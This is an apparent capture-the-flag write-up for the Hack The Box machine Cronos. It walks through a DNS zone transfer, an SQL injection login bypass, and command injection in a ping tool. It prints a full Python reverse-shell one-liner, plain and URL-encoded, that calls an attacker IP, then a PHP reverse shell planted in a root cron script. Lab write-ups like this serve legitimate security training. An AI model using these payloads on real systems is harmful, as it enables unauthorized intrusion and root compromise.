> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/hack-the-box/medium/cronos.md). # Cronos ## Service Enumeration `nmapAutomator.sh -H 10.10.10.13 -t all` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsuhDPh9cSP6QZ00k%2Fbfd67177bbef47d58d0d56b1810125fc.png?alt=media\&token=070cb46e-ba6a-41d6-ac52-e5fc09a8254f) We can perform a DNS zone transfer, guessing that the domain is `cronos.htb`: `dig axfr @10.10.10.13 cronos.htb` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadsyBjxBM22rS05PbC%2F4f28cc7fc450492f9d42f3e50ac905ef.png?alt=media\&token=2544b1ff-dcb4-45a5-b8c9-d030bea998cf) Here, we uncover some subdomains for `10.10.10.13`. Let's add them to our `/etc/hosts` file. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madt0H8ovFbyDMaqUWZ%2Fabd9d59184994eb083bc0f017f32f560.png?alt=media\&token=dc05790c-cf8a-4ab8-879f-e6df02baf640) Now, going to [www.cronos.htb](http://www.cronos.htb) and admin.cronos.htb yields a valid webpage. ## Exploitation The `admin.cronos.htb` login page is vulnerable to SQL injection. Using the payload: `username=' or 1=1;#&password=` We can bypass the authentication. Note that this does not work on the password field. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madt3BBYwWJm1AwFS9I%2F9d4ca552b4754f4ba1a2677b1c3ba530.png?alt=media\&token=d347d330-673d-4436-8400-23e09c113083) We get access to the following tool: ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madt5v7VPVJEySt6pUB%2F4c1e3c17fe0441af998525d1661b13b2.png?alt=media\&token=4f813ed7-a4a7-462b-aa48-9bac379bd825) If we examine the POST request, we see that `ping -c 1` is sent as the `command parameter`. It is possible that the server is not sanitizing the input and reflecting the `command` parameter into the OS command. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadtBKAqodEncR-u0Am%2Fd3efa548625345de8f12e504a2f92715.png?alt=media\&token=83c3a6f9-8e3d-4fe5-99c0-43be547594be) Indeed, changing to `-c 2` changes the command executed! ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madt8BwdoVpjBsMRm_C%2Ff82678092ad247c6ae309a4f330bd0d1.png?alt=media\&token=8a418bfd-8a42-4dd3-ae96-910ef7d5277b) We now have an RCE vulnerability. Executing the `which python` command shows that Python is installed on the server. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadtDwFRVb-JmzLmq3x%2Fa27d49e90e9c4286ab0140b4b3382a02.png?alt=media\&token=4a8d18ff-7cc7-4709-835d-e235ddeae844) We can use a Python reverse shell payload: `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.23",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'` After URL encoding, we can edit the `command` parameter: `command=python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.23%22%2C4242%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3Bos.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22%2Fbin%2Fbash%22%29%27&host=` On our Netcat listener, we receive the reverse shell ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadtHH2ZmHyijuDLXIA%2F412419bea8c4472596d5cf386a3d56dc.png?alt=media\&token=66a602ed-1aad-4edd-8815-eebe366ce8d0) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadtJ_ClyjeZJswg8ZQ%2Fd794b07b25d5412aa92a784cded5ad6c.png?alt=media\&token=b7a91245-cb72-4396-bd6a-6241eb308b7f) ## Privilege Escalation We can use LinPEAS to enumerate. We find the following cron job that runs every minute: ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadtMSQtB-Sb16a9NOl%2F15a19355e54a4454b2fb4ea71fe446af.png?alt=media\&token=5a918090-8004-4a6d-9c72-c454de31c633) The script run is a PHP script: ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadtQtJ2RMyVwOlxB8N%2F36d69c5193c44becb61ab404f915e938.png?alt=media\&token=852d0c22-8041-43de-90d0-176a16c16fd0) We can change this to our custom PHP payload: ```php $sock, 1=>$sock, 2=>$sock),$pipes); ?> ``` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadtVp0BnY6RGWfxEba%2F1e31a44b87f947ecbdbd1c27a405d7ef.png?alt=media\&token=7c4d1d4d-7506-4ca2-ad48-70bb1e8c3a2f) The next time the cron job is run, we obtain a root shell on our listener. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadtZusC-iBH64zmlSn%2F3a201222a9e049bca51b5893c954cd87.png?alt=media\&token=1a7c2975-957b-4cd4-a9aa-1460e7c2ea05) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadtbNnEz8L0X47d5_Y%2Fbebb311a957347fbaaec82de62905a87.png?alt=media\&token=b355df0f-710d-4e71-bb55-7dbbbccf4ace)